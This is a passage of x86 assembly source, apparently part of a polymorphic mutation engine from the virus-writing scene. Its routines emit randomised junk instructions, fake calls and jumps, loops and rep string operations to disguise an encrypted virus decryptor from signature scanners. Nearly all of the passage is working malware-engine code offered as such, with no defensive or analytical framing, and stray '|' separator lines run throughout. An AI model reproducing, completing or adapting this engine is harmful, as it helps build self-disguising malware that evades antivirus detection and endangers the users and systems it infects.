g_movreg16imm: call ppe_get_empty_reg ;mov empty_reg16,imm
|
||
mov ax,0B866h
|
||
or ah,byte ptr [ebx]
|
||
stosw
|
||
call ppe_get_rnd32
|
||
stosw
|
||
ret
|
||
|
||
g_movreg8imm: call ppe_get_empty_reg ;mov empty_reg8,imm
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz a_movreg8imm
|
||
call ppe_get_rnd32
|
||
mov al,0B0h
|
||
or al,byte ptr [ebx]
|
||
mov edx,eax
|
||
call ppe_get_rnd32
|
||
and ax,0004h
|
||
or ax,dx
|
||
stosw
|
||
a_movreg8imm: ret
|
||
|
||
;ÄÄÄ´ generate mov reg,reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_movregreg32: call ppe_get_reg ;mov empty_reg32,reg32
|
||
push ebx
|
||
call ppe_get_empty_reg
|
||
pop edx
|
||
cmp ebx,edx
|
||
jz g_movregreg32 ;mov ecx,ecx ? etc. ?
|
||
c_movregreg32: mov ah,byte ptr [ebx]
|
||
shl ah,3
|
||
or ah,byte ptr [edx]
|
||
or ah,0C0h
|
||
mov al,8Bh
|
||
stosw
|
||
ret
|
||
|
||
g_movregreg16: call ppe_get_reg ;mov empty_reg16,reg16
|
||
push ebx
|
||
call ppe_get_empty_reg
|
||
pop edx
|
||
cmp ebx,edx
|
||
jz g_movregreg16 ;mov si,si ? etc. ?
|
||
mov al,66h
|
||
stosb
|
||
jmp c_movregreg32
|
||
|
||
g_movregreg8: call ppe_get_reg ;mov empty_reg8,reg8
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz g_movregreg8
|
||
push ebx
|
||
call ppe_get_empty_reg
|
||
pop edx
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz a_movregreg8
|
||
cmp ebx,edx
|
||
jz g_movregreg8 ;mov al,al ? etc. ?
|
||
mov ah,byte ptr [ebx]
|
||
shl ah,3
|
||
or ah,byte ptr [edx]
|
||
or ah,0C0h
|
||
mov al,8Ah
|
||
push eax
|
||
call ppe_get_rnd32
|
||
pop edx
|
||
and ax,2400h
|
||
or ax,dx
|
||
stosw
|
||
a_movregreg8: ret
|
||
|
||
;ÄÄÄ´ generate add/sub/xor/and/adc/sbb/or reg,imm ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_mathreg32imm: mov al,81h ;math reg32,imm
|
||
stosb
|
||
call ppe_get_empty_reg
|
||
call __do_math_work
|
||
stosd
|
||
ret
|
||
|
||
g_mathreg16imm: mov ax,8166h ;math reg16,imm
|
||
stosw
|
||
call ppe_get_empty_reg
|
||
call __do_math_work
|
||
stosw
|
||
ret
|
||
|
||
g_mathreg8imm: call ppe_get_empty_reg ;math reg8,imm
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz a_mathreg8imm
|
||
mov al,80h
|
||
stosb
|
||
call __do_math_work
|
||
stosb
|
||
and ah,04h
|
||
or byte ptr [edi-2],ah
|
||
a_mathreg8imm: ret
|
||
|
||
__do_math_work: ;select math operation
|
||
mov eax,end_math_imm - tbl_math_imm
|
||
call ppe_get_rnd_range
|
||
lea esi,dword ptr [ebp+tbl_math_imm+eax]
|
||
lodsb
|
||
or al,byte ptr [ebx]
|
||
stosb
|
||
call ppe_get_rnd32
|
||
ret
|
||
|
||
;ÄÄÄ´ generate push reg + garbage + pop reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_push_g_pop: call ppe_get_reg ; push rnd_reg
|
||
mov al,50h ; --garbage--
|
||
or al,byte ptr [ebx] ; --garbage--
|
||
stosb ; pop empty_reg
|
||
call gen_garbage
|
||
call ppe_get_empty_reg
|
||
mov al,58h
|
||
or al,byte ptr [ebx]
|
||
stosb
|
||
ret
|
||
|
||
;ÄÄÄ´ generate call without return ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_call_cont: mov al,0E8h ; call __here
|
||
stosb ; --rnd data--
|
||
push edi ; --rnd data--
|
||
stosd ;__here:
|
||
call ppe_gen_rnd_block ; pop empty_reg
|
||
pop edx
|
||
mov eax,edi
|
||
sub eax,edx
|
||
sub eax,00000004h
|
||
mov [edx],eax
|
||
call gen_garbage_no_flags
|
||
call ppe_get_empty_reg
|
||
mov al,58h
|
||
or al,byte ptr [ebx]
|
||
stosb
|
||
ret
|
||
|
||
;ÄÄÄ´ generate unconditional jump ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_jump_u: mov al,0E9h ; jmp __here
|
||
stosb ; --rnd data--
|
||
push edi ; --rnd data--
|
||
stosd ;__here:
|
||
call ppe_gen_rnd_block ; --next code--
|
||
pop edx
|
||
mov eax,edi
|
||
sub eax,edx
|
||
sub eax,00000004h
|
||
mov dword ptr [edx],eax
|
||
ret
|
||
|
||
;ÄÄÄ´ generate conditional jump ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_jump_c: call ppe_get_rnd32 ; jX __here
|
||
and ah,0Fh ; --garbage--
|
||
add ah,80h ; --garbage--
|
||
mov al,0Fh ;__here:
|
||
stosw ; --next code--
|
||
push edi
|
||
stosd
|
||
call gen_garbage_no_flags
|
||
pop edx
|
||
mov eax,edi
|
||
sub eax,edx
|
||
sub eax,00000004h
|
||
mov dword ptr [edx],eax
|
||
ret
|
||
|
||
;ÄÄÄ´ generate movzx,movsx reg32/16,reg16/8 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_movzx_movsx_32: ;movzx/movsx reg32,reg16
|
||
call ppe_get_rnd32
|
||
mov ah,0B7h
|
||
and al,1
|
||
jz __d_movzx32
|
||
mov ah,0BFh
|
||
__d_movzx32:
|
||
mov al,0Fh
|
||
stosw
|
||
call ppe_get_reg
|
||
push ebx
|
||
call ppe_get_empty_reg
|
||
pop edx
|
||
mov al,byte ptr [ebx]
|
||
shl al,3
|
||
or al,0C0h
|
||
or al,byte ptr [edx]
|
||
stosb
|
||
ret
|
||
|
||
g_movzx_movsx_16: ;movzx/movsx reg16,reg8
|
||
mov al,66h
|
||
stosb
|
||
|
||
g_movzx_movsx_8: ;movzx/movsx reg32,reg8
|
||
call ppe_get_rnd32
|
||
mov ah,0B6h
|
||
and al,1
|
||
jz __d_movzx32
|
||
mov ah,0BEh
|
||
jmp __d_movzx32
|
||
|
||
;ÄÄÄ´ generate rol/ror/rcl/rcr/shl/shr/sar reg,imm ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_rotate_shift32: ;(r/s) reg32,imm8
|
||
mov al,0C1h
|
||
stosb
|
||
call ppe_get_empty_reg
|
||
call __do_rs_work
|
||
stosb
|
||
ret
|
||
|
||
g_rotate_shift16: ;(r/s) reg16,imm8
|
||
mov al,66h
|
||
stosb
|
||
jmp g_rotate_shift32
|
||
|
||
g_rotate_shift8:
|
||
call ppe_get_empty_reg ;(r/s) reg8,imm8
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz a_rotate_shift8
|
||
mov al,0C0h
|
||
stosb
|
||
call __do_rs_work
|
||
stosb
|
||
and ah,04h
|
||
or byte ptr [edi-2],ah
|
||
a_rotate_shift8:ret
|
||
|
||
__do_rs_work: ;select r/s operation
|
||
mov eax,end_rs_imm - tbl_rs_imm
|
||
call ppe_get_rnd_range
|
||
lea esi,dword ptr [ebp+tbl_rs_imm+eax]
|
||
lodsb
|
||
or al,byte ptr [ebx]
|
||
stosb
|
||
call ppe_get_rnd32
|
||
ret
|
||
|
||
;ÄÄÄ´ generate rol/ror/rcl/rcr/shl/shr/sar reg,reg8 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_rs_reg32reg8: ;(r/s) reg32,reg8
|
||
mov al,0D3h
|
||
stosb ;in fact, reg8 is always CL
|
||
call ppe_get_empty_reg ;because CPU allows only
|
||
call __do_rs_work ;this reg8
|
||
ret
|
||
|
||
g_rs_reg16reg8: ;(r/s) reg16,reg8 (CL)
|
||
mov al,66h
|
||
stosb
|
||
jmp g_rs_reg32reg8
|
||
|
||
g_rs_reg8reg8: ;(r/s) reg8,reg8 (CL)
|
||
call ppe_get_empty_reg
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz a_rs_reg8reg8
|
||
mov ax,0D266h
|
||
stosw
|
||
call __do_rs_work
|
||
and ah,04h
|
||
or byte ptr [edi-1],ah
|
||
a_rs_reg8reg8: ret
|
||
|
||
;ÄÄÄ´ generate bt/bts/btr/btc reg32/16,(reg/imm)32/16 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_bt_regreg32: mov al,0Fh
|
||
stosb
|
||
call __do_bt_work
|
||
ret
|
||
|
||
g_bt_regreg16: mov ax,0F66h
|
||
stosw
|
||
call __do_bt_work
|
||
ret
|
||
|
||
__do_bt_work:
|
||
mov eax,end_bt_reg - tbl_bt_reg
|
||
call ppe_get_rnd_range
|
||
lea esi,[ebp+tbl_bt_reg+eax]
|
||
lodsb
|
||
stosb
|
||
call ppe_get_empty_reg
|
||
push ebx
|
||
call ppe_get_reg
|
||
pop edx
|
||
mov al,byte ptr [ebx]
|
||
shl al,3
|
||
or al,0C0h
|
||
or al,byte ptr [edx]
|
||
stosb
|
||
ret
|
||
|
||
g_bit_test32: mov ax,0BA0Fh
|
||
stosw
|
||
call __do_bit_test_work
|
||
ret
|
||
|
||
g_bit_test16: mov al,66h
|
||
stosb
|
||
jmp g_bit_test32
|
||
|
||
__do_bit_test_work:
|
||
mov eax,end_bt_imm - tbl_bt_imm
|
||
call ppe_get_rnd_range
|
||
lea esi,[ebp+tbl_bt_imm+eax]
|
||
call ppe_get_empty_reg
|
||
lodsb
|
||
or al,byte ptr [ebx]
|
||
stosb
|
||
call ppe_get_rnd32
|
||
stosb
|
||
ret
|
||
|
||
;ÄÄÄ´ generate add/sub/xor/and/adc/sbb/or reg,reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_mathregreg32: ;math reg32,reg32
|
||
call __do_math_regreg_work
|
||
ret
|
||
|
||
g_mathregreg16: ;math reg16,reg16
|
||
mov al,66h
|
||
stosb
|
||
jmp g_mathregreg32
|
||
|
||
g_mathregreg8: ;math reg8,reg8
|
||
call ppe_get_reg
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz g_mathregreg8
|
||
push ebx
|
||
call ppe_get_empty_reg
|
||
pop edx
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz a_mathregreg8
|
||
mov eax,end_math_reg - tbl_math_reg
|
||
call ppe_get_rnd_range
|
||
lea esi,[ebp+tbl_math_reg+eax]
|
||
lodsb
|
||
dec al
|
||
stosb
|
||
mov al,byte ptr [ebx]
|
||
shl al,3
|
||
or al,byte ptr [edx]
|
||
or al,0C0h
|
||
stosb
|
||
call ppe_get_rnd32
|
||
and al,24h
|
||
or byte ptr [edi-1],al
|
||
a_mathregreg8: ret
|
||
|
||
__do_math_regreg_work:
|
||
mov eax,end_math_reg - tbl_math_reg
|
||
call ppe_get_rnd_range
|
||
lea esi,[ebp+tbl_math_reg+eax]
|
||
lodsb
|
||
stosb
|
||
call ppe_get_reg
|
||
push ebx
|
||
call ppe_get_empty_reg
|
||
pop edx
|
||
mov al,byte ptr [ebx]
|
||
shl al,3
|
||
or al,0C0h
|
||
or al,byte ptr [edx]
|
||
stosb
|
||
ret
|
||
|
||
;ÄÄÄ´ set reg8 by flag ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_set_byte: call ppe_get_empty_reg
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz a_set_byte
|
||
mov al,0Fh
|
||
stosb
|
||
mov eax,00000010h ;we have 16 opcodes, haha..
|
||
call ppe_get_rnd_range
|
||
or al,90h ;seta , setae, setb , setbe
|
||
stosb ;sete , setg , setge, setl
|
||
mov al,byte ptr [ebx] ;setle, setne, setno, setnp
|
||
or al,0C0h ;setns, seto , setp , sets
|
||
stosb
|
||
call ppe_get_rnd32
|
||
and al,04h
|
||
or byte ptr [edi-1],al
|
||
a_set_byte: ret
|
||
|
||
;ÄÄÄ´ generate garbage + loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_loop:
|
||
|
||
; we can't be recursived because ECX is only for one LOOP
|
||
cmp byte ptr [ebp+recursive_level],01h
|
||
jnz a_loop
|
||
|
||
; does ECX free ?
|
||
test byte ptr [ebp+used_regs],00000010b
|
||
jnz a_loop
|
||
|
||
; generate ECX like counter
|
||
mov eax,00000030h ;future ECX to loop
|
||
call ppe_get_rnd_range
|
||
add eax,2
|
||
mov bl,00000001b ;write to ECX
|
||
call ppe_crypt_value
|
||
|
||
; we don't want to change ECX
|
||
or byte ptr [ebp+used_regs],00000010b
|
||
|
||
push edi ;total garbages in bytes
|
||
call gen_garbage ;to calculate loop
|
||
pop eax
|
||
sub eax,edi
|
||
sub eax,2 ;loop has two bytes
|
||
|
||
mov ah,0E2h ;loop identification
|
||
xchg ah,al
|
||
stosw
|
||
|
||
; enable ECX
|
||
and byte ptr [ebp+used_regs],11111101b
|
||
a_loop: ret
|
||
|
||
;ÄÄÄ´ generate reg + garbage + dec reg + jnz reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ÀÄÄÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
g_lj_reg db ? ;0=8bit, 1=16bit, 2=32bit
|
||
g_lj_reg_past db ? ;0=low, 1=high (8BIT only)
|
||
|
||
g_loop_jump:
|
||
|
||
; we can't be recursived because ECX is only for one LOOP_JUMP
|
||
cmp byte ptr [ebp+recursive_level],01h
|
||
jnz a_loop_jump
|
||
|
||
; select a free register
|
||
call ppe_get_empty_reg
|
||
mov byte ptr [ebp+g_lj_reg],00h ;8 bit ...
|
||
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
||
jnz __g_lj_no_8bit
|
||
mov eax,00000001h ;hi, lo ?
|
||
call ppe_get_rnd_range
|
||
mov byte ptr [ebp+g_lj_reg_past],al
|
||
jmp __g_lj_okay
|
||
|
||
; choose between reg16 and reg32
|
||
__g_lj_no_8bit:
|
||
mov eax,00000002h ;reg16 or reg32 ?
|
||
call ppe_get_rnd_range
|
||
inc eax
|
||
mov byte ptr [ebp+g_lj_reg],al
|
||
|
||
__g_lj_okay:
|
||
push ebx
|
||
mov eax,00000030h ;how many to looping ?
|
||
call ppe_get_rnd_range
|
||
add eax,2
|
||
mov bl,byte ptr [ebx] ;used reg
|
||
call ppe_crypt_value
|
||
|
||
pop ebx
|
||
push ebx
|
||
mov al,byte ptr [ebx] ;disable register
|
||
call __reg_to_bcd
|
||
or byte ptr [ebp+used_regs],ah
|
||
|
||
push edi
|
||
call gen_garbage
|
||
pop ecx
|
||
|
||
mov ax,4866h ;dec (reg16-clone)
|
||
or ah,byte ptr [ebx]
|
||
cmp byte ptr [ebp+g_lj_reg],00h
|
||
jz __g_lj_dec_8bit
|
||
cmp byte ptr [ebp+g_lj_reg],02h
|
||
jz __g_lj_dec_32bit
|
||
stosb
|
||
__g_lj_dec_32bit:
|
||
xchg ah,al
|
||
stosb
|
||
jmp __g_lj_dec_finish
|
||
__g_lj_dec_8bit:
|
||
mov ax,0C8FEh ;dec (reg8)
|
||
or ah,byte ptr [ebx] ;certain reg
|
||
cmp byte ptr[ebp+g_lj_reg_past],01h
|
||
jz __g_lj_dec_8bit_high
|
||
stosw
|
||
jmp __g_lj_dec_finish
|
||
__g_lj_dec_8bit_high:
|
||
and ah,24h
|
||
stosw
|
||
|
||
__g_lj_dec_finish:
|
||
call gen_garbage_no_flags
|
||
pop ebx
|
||
|
||
mov al,byte ptr [ebx] ;certain reg
|
||
call __reg_to_bcd
|
||
not ah
|
||
and byte ptr [ebp+used_regs],ah
|
||
|
||
mov ax,850Fh ;JNZ identification
|
||
stosw
|
||
|
||
mov eax,ecx
|
||
sub eax,edi
|
||
sub eax,4
|
||
stosd
|
||
|
||
a_loop_jump: ret
|
||
|
||
;ÄÄÄ´ generate reg32 + call reg32 + rnd_block + pop reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function can generate CALL reg32 which will be gene-
|
||
;rated by <ppe_crypt_value>.
|
||
;
|
||
g_cr32_reg db ?
|
||
g_cr32_full db ? ;0=g_return,1=call,2=jump
|
||
g_cr32_jump dd ? ;address of CALL instruction
|
||
;
|
||
g_call_reg32:
|
||
|
||
mov byte ptr [ebp+g_cr32_full],01h
|
||
b_call_reg32: mov dword ptr [ebp+g_cr32_jump],00000000h
|
||
|
||
; test, if global index reg is generated
|
||
cmp byte ptr [ebp+gl_index_reg],-1
|
||
jz a_call_reg32
|
||
|
||
; do not recursived - because it's few registers
|
||
cmp byte ptr [ebp+recursive_level],01h
|
||
jnz a_call_reg32
|
||
|
||
; garbage only in main-poly loop
|
||
cmp dword ptr [ebp+__pllg_memory],00000000h
|
||
jnz a_call_reg32
|
||
|
||
; save used-regs
|
||
mov al,[ebp+used_regs]
|
||
push ax
|
||
|
||
; select an empty register
|
||
call ppe_get_empty_reg
|
||
movzx ebx,byte ptr [ebx]
|
||
mov byte ptr [ebp+g_cr32_reg],bl
|
||
|
||
; calculate size of rnd_block
|
||
mov eax,00000030h
|
||
call ppe_get_rnd_range
|
||
add eax,00000005h ;damn, fucking BUG !!
|
||
push eax ;save it for later use
|
||
jmp d_call_reg32
|
||
c_call_reg32: mov byte ptr [ebp+g_cr32_full],00h
|
||
mov cl,[ebp+used_regs]
|
||
push cx
|
||
mov bl,byte ptr [ebx]
|
||
mov byte ptr [ebp+g_cr32_reg],bl
|
||
d_call_reg32: call ppe_crypt_value ;ebx is full
|
||
movzx eax,byte ptr [ebp+g_cr32_reg]
|
||
lea ebx,[ebp+tbl_regs+02h*eax]
|
||
call __reg_to_bcd
|
||
or byte ptr [ebp+used_regs],ah
|
||
call gen_garbage_no_flags ;uaaahh
|
||
call __copro_fix_delta ; + global index register
|
||
call gen_garbage_no_flags
|
||
|
||
; for <ppe_get_return> we don't want to set right size
|
||
cmp byte ptr [ebp+g_cr32_full],00h
|
||
jz e_call_reg32
|
||
|
||
; set the right size
|
||
mov ebx,edi
|
||
add ebx,2+6 ; + call reg32 + (add/sub)
|
||
sub ebx,[ebp+poly_start]
|
||
mov eax,00000002h
|
||
call ppe_get_rnd_range
|
||
or al,al
|
||
jz __cr32_add
|
||
neg ebx
|
||
mov ax,0E881h ;sub reg32,imm32 id
|
||
jmp __cr32_finish
|
||
__cr32_add:
|
||
mov ax,0C081h ;add reg32,imm32 id
|
||
__cr32_finish:
|
||
or ah,byte ptr [ebp+g_cr32_reg]
|
||
stosw
|
||
mov eax,ebx
|
||
stosd
|
||
e_call_reg32:
|
||
; now, write CALL reg32 instruction
|
||
mov ax,0D0FFh
|
||
or ah,byte ptr [ebp+g_cr32_reg]
|
||
stosw
|
||
mov [ebp+g_cr32_jump],edi
|
||
|
||
cmp byte ptr [ebp+g_cr32_full],00h
|
||
jz f_call_reg32
|
||
|
||
pop ecx ;rnd_block length
|
||
call ppe_gen_rnd_fill ;ecx is full
|
||
|
||
cmp byte ptr [ebp+g_cr32_full],02h
|
||
jz f_call_reg32
|
||
|
||
; and we must put value from stack via POP reg32
|
||
call gen_garbage_no_flags ;uaaahh...
|
||
mov al,58h
|
||
or al,byte ptr [ebp+g_cr32_reg]
|
||
stosb
|
||
f_call_reg32:
|
||
; restore used_regs
|
||
pop ax
|
||
mov [ebp+used_regs],al
|
||
a_call_reg32: ret
|
||
|
||
;ÄÄÄ´ generate reg32 + jump reg32 + rnd_block ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_jump_reg32:
|
||
|
||
mov byte ptr [ebp+g_cr32_full],02h
|
||
|
||
; write CALL reg32 garbage
|
||
call b_call_reg32
|
||
cmp dword ptr [ebp+g_cr32_jump],00000000h
|
||
jz a_jump_reg32
|
||
|
||
; rewrite CALL reg32 --> JMP reg32
|
||
mov eax,[ebp+g_cr32_jump]
|
||
add byte ptr [eax-1],10h ;CALL reg32 -> JMP reg32
|
||
|
||
a_jump_reg32: ret
|
||
|
||
;ÄÄÄ´ generate rep/repnz + cmps/lods/stos/scas/movs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
;---------------------------------------------------------
|
||
;Welcome to my popular function. I think any comment is
|
||
;needless - because this function is easy to understand.
|
||
;So, If u don't believe me, I'll show you some functionz:
|
||
; * __gr_make_esi --- generate source
|
||
; * __gr_make_edi --- generate destination or source
|
||
; * __gr_make_ecx --- generate counter
|
||
;
|
||
;...easy to understand...
|
||
;
|
||
g_repeat:
|
||
|
||
; test, if global index register is generated
|
||
cmp byte ptr [ebp+gl_index_reg],-1
|
||
jz a_repeat
|
||
|
||
; i must be far then about USED_MEMORY bytes
|
||
call __gr_where_in_mem
|
||
jc a_repeat
|
||
|
||
; garbage use only in main-poly loop
|
||
cmp dword ptr [ebp+__pllg_memory],00000000h
|
||
jnz a_repeat
|
||
|
||
; register ECX must be free
|
||
test byte ptr [ebp+used_regs],00000010b
|
||
jnz a_repeat
|
||
|
||
; does ESI free ?
|
||
test byte ptr [ebp+used_regs],01000000b
|
||
jnz __gr_part_2
|
||
|
||
; does EDI free ?
|
||
test byte ptr [ebp+used_regs],10000000b
|
||
jnz __gr_lods
|
||
|
||
; all cmps/lods/stos/scas/movs, wow !
|
||
mov eax,(end_repeat - tbl_repeat) / 04h
|
||
call ppe_get_rnd_range
|
||
lea esi,[ebp+tbl_repeat+eax*04h]
|
||
lodsd
|
||
add eax,ebp
|
||
call eax
|
||
jmp a_repeat
|
||
|
||
__gr_part_2:
|
||
; must be EDI free ..
|
||
test byte ptr [ebp+used_regs],10000000b
|
||
jnz a_repeat
|
||
|
||
; only stos/scas ...
|
||
mov eax,00000002h
|
||
call ppe_get_rnd_range
|
||
or al,al
|
||
jz __gr_stos
|
||
jmp __gr_scas
|
||
|
||
__gr_cmps:
|
||
call __gr_make_esi ;new esi to ebx
|
||
call __gr_make_edi ;new edi to ecx
|
||
call __gr_change
|
||
|
||
push ecx
|
||
mov eax,ebx
|
||
mov bl,00000110b ;esi register
|
||
call ppe_crypt_value
|
||
lea ebx,[ebp+tbl_regs+6*2]
|
||
call __copro_fix_delta
|
||
or byte ptr [ebp+used_regs],01000000b
|
||
pop eax
|
||
mov bl,00000111b ;edi register
|
||
call ppe_crypt_value
|
||
lea ebx,[ebp+tbl_regs+7*2]
|
||
call __copro_fix_delta
|
||
or byte ptr [ebp+used_regs],10000000b
|
||
|
||
call __gr_crypt_ecx ;ecx register
|
||
call __gr_make_rep ;rep or repnz ?
|
||
mov al,0A6h
|
||
stosb
|
||
and byte ptr [ebp+used_regs],00111111b
|
||
ret
|
||
|
||
__gr_lods:
|
||
; register EAX must be free
|
||
test byte ptr [ebp+used_regs],00000001h
|
||
jnz __gr_flods
|
||
call __gr_make_esi
|
||
|
||
mov eax,ebx
|
||
mov bl,00000110b
|
||
call ppe_crypt_value
|
||
lea ebx,[ebp+tbl_regs+6*2]
|
||
call __copro_fix_delta
|
||
or byte ptr [ebp+used_regs],01000000b
|
||
|
||
call __gr_crypt_ecx
|
||
call __gr_make_rep
|
||
mov al,0ACh
|
||
stosb
|
||
and byte ptr [ebp+used_regs],10111111b
|
||
__gr_flods:
|
||
ret
|
||
|
||
__gr_stos:
|
||
call __gr_make_edi
|
||
|
||
mov eax,ecx
|
||
mov bl,00000111b
|
||
call ppe_crypt_value
|
||
lea ebx,[ebp+tbl_regs+7*2]
|
||
call __copro_fix_delta
|
||
or byte ptr [ebp+used_regs],10000000b
|
||
|
||
call __gr_crypt_ecx
|
||
call __gr_make_rep
|
||
mov al,0AAh
|
||
stosb
|
||
and byte ptr [ebp+used_regs],01111111b
|
||
ret
|
||
|
||
__gr_scas:
|
||
call __gr_make_edi
|
||
or byte ptr [ebp+used_regs],10000000b
|
||
|
||
mov eax,ecx
|
||
mov bl,00000111b
|
||
call ppe_crypt_value
|
||
lea ebx,[ebp+tbl_regs+7*2]
|
||
call __copro_fix_delta
|
||
|
||
call __gr_crypt_ecx
|
||
call __gr_make_rep
|
||
mov al,0AEh
|
||
stosb
|
||
and byte ptr [ebp+used_regs],01111111b
|
||
ret
|
||
|
||
__gr_movs:
|
||
call __gr_make_esi
|
||
call __gr_make_edi
|
||
call __gr_change
|
||
|
||
push ecx
|
||
mov eax,ebx
|
||
mov bl,000000110b
|
||
call ppe_crypt_value
|
||
lea ebx,[ebp+tbl_regs+6*2]
|
||
call __copro_fix_delta
|
||
or byte ptr [ebp+used_regs],01000000b
|
||
pop eax
|
||
mov bl,000000111b
|
||
call ppe_crypt_value
|
||
lea ebx,[ebp+tbl_regs+7*2]
|
||
call __copro_fix_delta
|
||
or byte ptr [ebp+used_regs],10000000b
|
||
|
||
call __gr_crypt_ecx
|
||
call __gr_make_rep
|
||
mov al,0A4h
|
||
stosb
|
||
and byte ptr [ebp+used_regs],00111111b
|
||
ret
|
||
|
||
__gr_make_rep:
|
||
mov bx,0F2F3h ;repnz, rep
|
||
mov eax,00000002h
|
||
call ppe_get_rnd_range
|
||
xchg eax,ebx
|
||
or bl,bl
|
||
jz __gr_make_repnz
|
||
stosb
|
||
ret
|
||
__gr_make_repnz:
|
||
xchg ah,al
|
||
stosb
|
||
ret
|
||
|
||
__gr_crypt_ecx:
|
||
mov eax,30
|
||
call ppe_get_rnd_range
|
||
mov bl,00000001b ;ecx register
|
||
call ppe_crypt_value
|
||
ret
|
||
|
||
__gr_make_esi:
|
||
mov eax,0000000Ah ;esi start
|
||
call ppe_get_rnd_range
|
||
mov ebx,eax
|
||
sub ebx,edi
|
||
add ebx,[ebp+poly_start]
|
||
ret
|
||
|
||
__gr_make_edi:
|
||
mov eax,000000Ah ;edi start
|
||
call ppe_get_rnd_range
|
||
mov ecx,eax
|
||
sub ecx,edi
|
||
add ecx,[ebp+poly_start]
|
||
ret
|
||
|
||
__gr_change:
|
||
mov eax,00000002h ;change esi and edi ?
|
||
call ppe_get_rnd_range
|
||
or al,al
|
||
jz __gr_change_no
|
||
xchg ebx,ecx
|
||
__gr_change_no:
|
||
ret
|
||
|
||
__gr_where_in_mem:
|
||
mov eax,[ebp+poly_start]
|
||
sub eax,edi
|
||
neg eax
|
||
cmp eax,USED_MEMORY
|
||
a_repeat: ret
|
||
|
||
;ÄÄÄ´ generate push value(32/16)/garbage/pop reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
g_pushpop_value:
|
||
|
||
; value32 OR value16 ?
|
||
call ppe_get_rnd32 ;save dword or word ?
|
||
and al,1
|
||
jnz __ppv_push16
|
||
|
||
; short or long value ?
|
||
call ppe_get_rnd32
|
||
and al,1
|
||
jnz __ppv_push32_short
|
||
|
||
; long value
|
||
mov al,68h ;save: PUSH 11223344h
|
||
stosb ;code: 68 44332211
|
||
call ppe_get_rnd32
|
||
stosd
|
||
jmp __ppv_finish32
|
||
__ppv_push32_short:
|
||
call ppe_get_rnd32 ;save: PUSH 00000009h
|
||
mov al,6Ah ;code: 6A 09
|
||
stosw
|
||
jmp __ppv_finish32
|
||
__ppv_push16:
|
||
call ppe_get_rnd32
|
||
and al,1
|
||
jnz __ppv_push16_short
|
||
|
||
; long short-value
|
||
mov ax,6866h
|
||
stosw
|
||
call ppe_get_rnd32
|
||
stosw
|
||
jmp __ppv_finish16
|
||
__ppv_push16_short:
|
||
mov ax,6A66h
|
||
stosw
|
||
call ppe_get_rnd32
|
||
stosb
|
||
jmp __ppv_finish16
|
||
|
||
; time to POP value
|
||
__ppv_finish32:
|
||
call gen_garbage ;POP reg32
|
||
call ppe_get_empty_reg
|
||
mov al,58h
|
||
or al,byte ptr [ebx]
|
||
stosb
|
||
jmp __ppv_finish
|
||
__ppv_finish16:
|
||
call gen_garbage ;POP reg16
|
||
call ppe_get_empty_reg
|
||
mov ax,5866h
|
||
or ah,byte ptr [ebx]
|
||
stosw
|
||
|
||
__ppv_finish:
|
||
ret
|
||
|
||
